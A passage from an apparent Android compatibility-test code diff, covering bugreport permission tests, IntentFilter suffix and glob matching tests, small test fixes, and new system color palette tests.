+    public void startBugreport_connectivityBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        // Carrier apps that compile with the system SDK have visibility to use this API, so we need
+        // to enforce that the additional parameters can't be abused to e.g. surreptitiously capture
+        // screenshots.
+        mBugreportManager.startBugreport(
+                mBugreportFd,
+                mScreenshotFd,
+                new BugreportParams(BugreportParams.BUGREPORT_MODE_TELEPHONY),
+                Runnable::run,
+                callback);
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+        // Screenshots are never captured for connectivity bugreports, even if an FD is passed in.
+        assertThat(mScreenshotFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mScreenshotFd);
+    }
+
+    @Test
+    public void startBugreport_fullBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_FULL);
+    }
+
+    @Test
+    public void startBugreport_interactiveBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+    }
+
+    @Test
+    public void startBugreport_remoteBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_REMOTE);
+    }
+
+    @Test
+    public void startBugreport_wearBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WEAR);
+    }
+
+    @Test
+    public void startBugreport_wifiBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WIFI);
+    }
+
+    @Test
+    public void startBugreport_defaultBugreport() throws Exception {
+        // BUGREPORT_MODE_DEFAULT (6) is defined by the AIDL, but isn't accepted by
+        // BugreportManagerServiceImpl or exposed in BugreportParams.
+        assertExceptionThrownForMode(6, IllegalArgumentException.class);
+    }
+
+    @Test
+    public void startBugreport_negativeMode() throws Exception {
+        assertExceptionThrownForMode(-1, IllegalArgumentException.class);
+    }
+
+    @Test
+    public void startBugreport_invalidMode() throws Exception {
+        // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
+        assertExceptionThrownForMode(7, IllegalArgumentException.class);
+    }
+
+    /* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
+    private static final class BugreportCallbackImpl extends BugreportCallback {
+        private int mErrorCode = -1;
+        private boolean mSuccess = false;
+        private boolean mReceivedProgress = false;
+        private boolean mEarlyReportFinished = false;
+        private final Object mLock = new Object();
+
+        @Override
+        public synchronized void onProgress(float progress) {
+            mReceivedProgress = true;
+        }
+
+        @Override
+        public synchronized void onError(int errorCode) {
+            Log.d(TAG, "Bugreport errored");
+            mErrorCode = errorCode;
+        }
+
+        @Override
+        public synchronized void onFinished() {
+            Log.d(TAG, "Bugreport finished");
+            mSuccess = true;
+        }
+
+        @Override
+        public synchronized void onEarlyReportFinished() {
+            mEarlyReportFinished = true;
+        }
+
+        /* Indicates completion; and ended up with a success or error. */
+        public synchronized boolean isDone() {
+            return (mErrorCode != -1) || mSuccess;
+        }
+
+        public synchronized int getErrorCode() {
+            return mErrorCode;
+        }
+
+        public synchronized boolean isSuccess() {
+            return mSuccess;
+        }
+
+        public synchronized boolean hasReceivedProgress() {
+            return mReceivedProgress;
+        }
+
+        public synchronized boolean hasEarlyReportFinished() {
+            return mEarlyReportFinished;
+        }
+    }
+
+    /** Allow/deny the consent dialog to sharing bugreport data, or just check existence. */
+    private enum ConsentReply {
+        // Touch the positive button.
+        ALLOW,
+        // Touch the negative button.
+        DENY,
+        // Just verify that the dialog has appeared, but make no touches.
+        NONE_TIMEOUT,
+    }
+
+    private void setConsentDialogReply(ConsentReply consentReply) throws Exception {
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // No need to wake + dismiss keyguard here; CTS respects our DISABLE_KEYGUARD permission.
+        if (!device.wait(
+                Until.hasObject(CONSENT_DIALOG_TITLE_SELECTOR), UIAUTOMATOR_TIMEOUT_MILLIS)) {
+            fail("The consent dialog can't be found");
+        }
+
+        final BySelector replySelector;
+        switch (consentReply) {
+            case ALLOW:
+                Log.d(TAG, "Allow the consent dialog");
+                replySelector = By.res("android", "button1");
+                break;
+            case DENY:
+                Log.d(TAG, "Deny the consent dialog");
+                replySelector = By.res("android", "button2");
+                break;
+            case NONE_TIMEOUT:
+            default:
+                // Not making a choice, just leave the dialog up now that we know it exists. It will
+                // eventually time out, but we don't wait for that here.
+                return;
+        }
+        UiObject2 replyButton = device.findObject(replySelector);
+        assertWithMessage("The button of consent dialog is not found")
+                .that(replyButton)
+                .isNotNull();
+        replyButton.click();
+
+        assertThat(
+                        device.wait(
+                                Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+                                UIAUTOMATOR_TIMEOUT_MILLIS))
+                .isTrue();
+    }
+
+    private void dismissConsentDialogIfPresent() throws Exception {
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        if (!device.hasObject(CONSENT_DIALOG_TITLE_SELECTOR)) {
+            return;
+        }
+
+        Log.d(
+                TAG,
+                "Consent dialog still present on the screen even though report finished,"
+                        + " dismissing it");
+        device.pressBack();
+        assertThat(
+                        device.wait(
+                                Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+                                UIAUTOMATOR_TIMEOUT_MILLIS))
+                .isTrue();
+    }
+
+    private static void waitUntilDoneOrTimeout(BugreportCallbackImpl callback) throws Exception {
+        long startTimeMillis = System.currentTimeMillis();
+        while (!callback.isDone()) {
+            Thread.sleep(1000);
+            if (System.currentTimeMillis() - startTimeMillis >= BUGREPORT_TIMEOUT_MILLIS) {
+                Log.w(TAG, "Timed out waiting for bugreport completion");
+                break;
+            }
+            Log.d(TAG, "Waited " + (System.currentTimeMillis() - startTimeMillis + "ms"));
+        }
+    }
+
+    private void assertSecurityExceptionThrownForMode(int mode) {
+        assertExceptionThrownForMode(mode, SecurityException.class);
+    }
+
+    private <T extends Throwable> void assertExceptionThrownForMode(
+            int mode, Class<T> exceptionType) {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+        try {
+            mBugreportManager.startBugreport(
+                    mBugreportFd,
+                    mScreenshotFd,
+                    new BugreportParams(mode),
+                    Runnable::run,
+                    callback);
+            fail("BugreportMode " + mode + " should cause " + exceptionType.getSimpleName());
+        } catch (Throwable thrown) {
+            if (!exceptionType.isInstance(thrown)) {
+                throw thrown;
+            }
+        }
+
+        assertThat(callback.isDone()).isFalse();
+        assertThat(callback.hasReceivedProgress()).isFalse();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+        assertThat(mScreenshotFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mScreenshotFd);
+    }
+
+    private static File createTempFile(String prefix, String extension) throws Exception {
+        File f = File.createTempFile(prefix, extension);
+        f.setReadable(true, true);
+        f.setWritable(true, true);
+        f.deleteOnExit();
+        return f;
+    }
+
+    private static ParcelFileDescriptor parcelFd(File file) throws Exception {
+        return ParcelFileDescriptor.open(
+                file, ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_APPEND);
+    }
+
+    private static void assertFdIsClosed(ParcelFileDescriptor pfd) {
+        try {
+            int fd = pfd.getFd();
+            fail("Expected ParcelFileDescriptor argument to be closed, but got: " + fd);
+        } catch (IllegalStateException expected) {
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/cts/IntentFilterTest.java b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
index 9888891..663cbfa 100644
--- a/tests/tests/content/src/android/content/cts/IntentFilterTest.java
+++ b/tests/tests/content/src/android/content/cts/IntentFilterTest.java
@@ -21,9 +21,11 @@
 import static android.content.IntentFilter.MATCH_CATEGORY_SCHEME_SPECIFIC_PART;
 import static android.content.IntentFilter.MATCH_CATEGORY_TYPE;
 import static android.content.IntentFilter.NO_MATCH_DATA;
+import static android.os.PatternMatcher.PATTERN_ADVANCED_GLOB;
 import static android.os.PatternMatcher.PATTERN_LITERAL;
 import static android.os.PatternMatcher.PATTERN_PREFIX;
 import static android.os.PatternMatcher.PATTERN_SIMPLE_GLOB;
+import static android.os.PatternMatcher.PATTERN_SUFFIX;
 
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -397,25 +399,38 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp12"));
         filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"ssp.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
+                null, null, null, null, new String[]{"p1", "sp", ".file"},
+                new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX, PATTERN_SUFFIX});
         checkMatches(filter,
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:2ssp"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:something.file"),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
+                MatchCondition.data(NO_MATCH_DATA, "scheme:ssp12"));
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "ssp.*",
+                                PATTERN_SIMPLE_GLOB)},
+                MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ss"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{".*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", ".*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp1"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ssp"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1b"),
@@ -423,10 +438,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a1*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a1*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a1"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
@@ -434,10 +450,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a11"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a\\.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a\\.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -445,10 +462,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a[.1-2]*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -456,10 +474,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.b"),
@@ -467,10 +486,11 @@
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a2b"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*b"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*b",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*b"),
@@ -478,10 +498,11 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a2b"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a.bc"),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:"));
-        filter = new Match(null, null, null, new String[]{"scheme"},
-                null, null, null, null, new String[]{"a.\\*"},
-                new int[]{PATTERN_SIMPLE_GLOB});
-        checkMatches(filter,
+        checkMatches(new IntentFilter[]{
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_ADVANCED_GLOB),
+                        filterForSchemeAndSchemeSpecificPart("scheme", "a.\\*",
+                                PATTERN_SIMPLE_GLOB)},
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, null),
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:ab"),
                 MatchCondition.data(MATCH_CATEGORY_SCHEME_SPECIFIC_PART, "scheme:a.*"),
@@ -489,6 +510,12 @@
                 MatchCondition.data(IntentFilter.NO_MATCH_DATA, "scheme:a1b"));
     }
 
+    private Match filterForSchemeAndSchemeSpecificPart(String scheme, String ssp, int matchType) {
+        return new Match(null, null, null, new String[]{scheme},
+                null, null, null, null, new String[]{ssp},
+                new int[]{matchType});
+    }
+
     public void testSchemeSpecificPartsWithWildCards() throws Exception {
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme"},
                 null, null, null, null, new String[]{"ssp1"},
@@ -1111,6 +1138,25 @@
         }
 
         mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_SUFFIX, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i, PatternMatcher.PATTERN_SUFFIX);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertTrue(mIntentFilter.hasDataPath("a" + DATA_PATH + i));
+            i++;
+        }
+
+        mIntentFilter = new IntentFilter();
         i = 0;
         for (i = 0; i < 10; i++) {
             mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_LITERAL);
@@ -1150,6 +1196,26 @@
             i++;
         }
 
+        mIntentFilter = new IntentFilter();
+        for (i = 0; i < 10; i++) {
+            mIntentFilter.addDataPath(DATA_PATH + i, PatternMatcher.PATTERN_ADVANCED_GLOB);
+        }
+        assertEquals(10, mIntentFilter.countDataPaths());
+        iter = mIntentFilter.pathsIterator();
+        i = 0;
+        while (iter.hasNext()) {
+            actual = iter.next();
+            assertEquals(DATA_PATH + i, actual.getPath());
+            assertEquals(PatternMatcher.PATTERN_ADVANCED_GLOB, actual.getType());
+            PatternMatcher p = new PatternMatcher(DATA_PATH + i,
+                    PatternMatcher.PATTERN_ADVANCED_GLOB);
+            assertEquals(p.getPath(), mIntentFilter.getDataPath(i).getPath());
+            assertEquals(p.getType(), mIntentFilter.getDataPath(i).getType());
+            assertTrue(mIntentFilter.hasDataPath(DATA_PATH + i));
+            assertFalse(mIntentFilter.hasDataPath(DATA_PATH + i + 10));
+            i++;
+        }
+
         IntentFilter filter = new Match(null, null, null, new String[]{"scheme1"},
                 new String[]{"authority1"}, new String[]{null});
         checkMatches(filter,
@@ -1448,6 +1514,12 @@
         }
     }
 
+    private static void checkMatches(IntentFilter[] filters, MatchCondition... results) {
+        for (IntentFilter filter : filters) {
+            checkMatches(filter, results);
+        }
+    }
+
     private static void checkMatches(IntentFilter filter, MatchCondition... results) {
         for (int i = 0; i < results.length; i++) {
             MatchCondition mc = results[i];
@@ -1522,6 +1594,24 @@
                 MatchCondition.data(
                         IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal12"));
         filter = new Match(null, null, null,
+                new String[]{"scheme"}, new String[]{"authority"}, null,
+                new String[]{"literal1", "2literal"}, new int[]{PATTERN_SUFFIX, PATTERN_SUFFIX});
+        checkMatches(filter,
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, null),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/aliteral1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/literal1"),
+                MatchCondition.data(
+                        IntentFilter.MATCH_CATEGORY_PATH, "scheme://authority/2literal1"),
+                MatchCondition.data(
+                        IntentFilter.NO_MATCH_DATA, "scheme://authority/literal1a"));
+        filter = new Match(null, null, null,
                 new String[]{"scheme"}, new String[]{"authority"}, null, new String[]{"/.*"},
                 new int[]{PATTERN_SIMPLE_GLOB});
         checkMatches(filter,
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 9635216..b434c21 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -226,7 +226,7 @@
         SystemUtil.runWithShellPermissionIdentity(() ->
                 mUsageStatsManager.registerAppUsageLimitObserver(
                         observerId, SETTINGS_PACKAGE_GROUP, timeLimit, timeUsed,
-                        PendingIntent.getActivity(mContext, -1, new Intent(), 0)));
+                        PendingIntent.getActivity(mContext, -1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED)));
     }
 
     private void unregisterObserver(int observerId) {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index b3e0fff..410054f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -213,8 +213,7 @@
         String commandResult = executeShellCommand("pm " + mInstall + " -t -g -S " + file.length(),
                 new File[]{});
         if (mIncremental) {
-            assertEquals("Failure [INSTALL_FAILED_MEDIA_UNAVAILABLE: Failed to prepare image.]\n",
-                    commandResult);
+            assertTrue(commandResult, commandResult.startsWith("Failure ["));
         } else {
             assertTrue(commandResult,
                     commandResult.startsWith("Failure [INSTALL_PARSE_FAILED_NOT_APK"));
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4e08ba0..62fadd8 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -75,6 +75,33 @@
                 { 0xff000000, android.R.color.widget_edittext_dark },
         };
 
+        int systemColors[] = {
+                android.R.color.system_main_0,
+                android.R.color.system_main_50,
+                android.R.color.system_main_100,
+                android.R.color.system_main_200,
+                android.R.color.system_main_300,
+                android.R.color.system_main_400,
+                android.R.color.system_main_500,
+                android.R.color.system_main_600,
+                android.R.color.system_main_700,
+                android.R.color.system_main_800,
+                android.R.color.system_main_900,
+                android.R.color.system_main_1000,
+                android.R.color.system_accent_0,
+                android.R.color.system_accent_50,
+                android.R.color.system_accent_100,
+                android.R.color.system_accent_200,
+                android.R.color.system_accent_300,
+                android.R.color.system_accent_400,
+                android.R.color.system_accent_500,
+                android.R.color.system_accent_600,
+                android.R.color.system_accent_700,
+                android.R.color.system_accent_800,
+                android.R.color.system_accent_900,
+                android.R.color.system_accent_1000,
+        };
+
         List<Integer> expectedColorStateLists = Arrays.asList(
                 android.R.color.primary_text_dark,
                 android.R.color.primary_text_dark_nodisable,
@@ -124,7 +151,7 @@
         }
 
         // System-API colors are used to allow updateable platform components to use the same colors
-        // as the system. The actualy value of the color does not matter. Hence only enforce that
+        // as the system. The actual value of the color does not matter. Hence only enforce that
         // 'colors' contains all the public colors and ignore System-api colors.
         int numPublicApiColors = 0;
         for (Field declaredColor : android.R.color.class.getDeclaredFields()) {
@@ -137,7 +164,7 @@
         }
 
         assertEquals("Test no longer in sync with colors in android.R.color",
-                colors.length, numPublicApiColors);
+                colors.length + systemColors.length, numPublicApiColors);
     }
 
     @Test
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
new file mode 100644
index 0000000..bb3ca0a
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.R;
+import android.content.Context;
+import android.graphics.Color;
+
+import androidx.annotation.ColorInt;
+import androidx.core.graphics.ColorUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SystemPalette {
+
+    private static final double MAX_CHROMA_DISTANCE = 0.1;
+    private static final String LOG_TAG = SystemPalette.class.getSimpleName();
+
+    @Test
+    public void testShades0and1000() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int system0 = context.getColor(R.color.system_main_0);
+        final int system1000 = context.getColor(R.color.system_main_1000);
+        final int accent0 = context.getColor(R.color.system_accent_0);
+        final int accent1000 = context.getColor(R.color.system_accent_1000);
+        assertColor(system0, Color.WHITE);
+        assertColor(system1000, Color.BLACK);
+        assertColor(accent0, Color.WHITE);
+        assertColor(accent1000, Color.BLACK);
+    }
+
+    @Test
+    public void testAllColorsBelongToSameFamily() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] mainColors = getAllMainColors(context);
+        final int[] accentColors = getAllAccentColors(context);
+
+        for (int i = 2; i < mainColors.length - 1; i++) {
+            assertWithMessage("Main color " + Integer.toHexString((mainColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(mainColors[i]))
+                    .that(similarChroma(mainColors[i - 1], mainColors[i])).isTrue();
+            assertWithMessage("Accent color " + Integer.toHexString((accentColors[i - 1]))
+                    + " has different chroma compared to " + Integer.toHexString(accentColors[i]))
+                    .that(similarChroma(accentColors[i - 1], accentColors[i])).isTrue();
+        }
+    }
+
+    /**
+     * Compare if color A and B have similar color, in LAB space.
+     *
+     * @param colorA Color 1
+     * @param colorB Color 2
+     * @return True when colors have similar chroma.
+     */
+    private boolean similarChroma(@ColorInt int colorA, @ColorInt int colorB) {
+        final double[] labColor1 = new double[3];
+        final double[] labColor2 = new double[3];
+
+        ColorUtils.RGBToLAB(Color.red(colorA), Color.green(colorA), Color.blue(colorA), labColor1);
+        ColorUtils.RGBToLAB(Color.red(colorB), Color.green(colorB), Color.blue(colorB), labColor2);
+
+        labColor1[1] = (labColor1[1] + 128.0) / 256;
+        labColor1[2] = (labColor1[2] + 128.0) / 256;
+        labColor2[1] = (labColor2[1] + 128.0) / 256;
+        labColor2[2] = (labColor2[2] + 128.0) / 256;
+
+        return (Math.abs(labColor1[1] - labColor2[1]) < MAX_CHROMA_DISTANCE)
+                && (Math.abs(labColor1[2] - labColor2[2]) < MAX_CHROMA_DISTANCE);
+    }
+
+    @Test
+    public void testColorsMatchExpectedLuminosity() {
+        final Context context = getInstrumentation().getTargetContext();
+        final int[] mainColors = getAllMainColors(context);
+        final int[] accentColors = getAllAccentColors(context);
+
+        final double[] labMain = new double[3];
+        final double[] labAccent = new double[3];
+        final double[] expectedL = {100, 95, 90, 80, 70, 60, 50, 40, 30, 20, 10, 0};
+
+        for (int i = 0; i < mainColors.length; i++) {
+            ColorUtils.RGBToLAB(Color.red(mainColors[i]), Color.green(mainColors[i]),
+                    Color.blue(mainColors[i]), labMain);
+            ColorUtils.RGBToLAB(Color.red(accentColors[i]), Color.green(accentColors[i]),
+                    Color.blue(accentColors[i]), labAccent);
+
+            // Colors in the same palette should vary mostly in L, decreasing lightness as we move
+            // across the palette.
+            assertWithMessage("Color " + Integer.toHexString((mainColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
+                    .that(labMain[0]).isWithin(5).of(expectedL[i]);
+            assertWithMessage("Color " + Integer.toHexString((accentColors[i]))
+                    + " at index " + i + " should have L " + expectedL[i] + " in LAB space.")
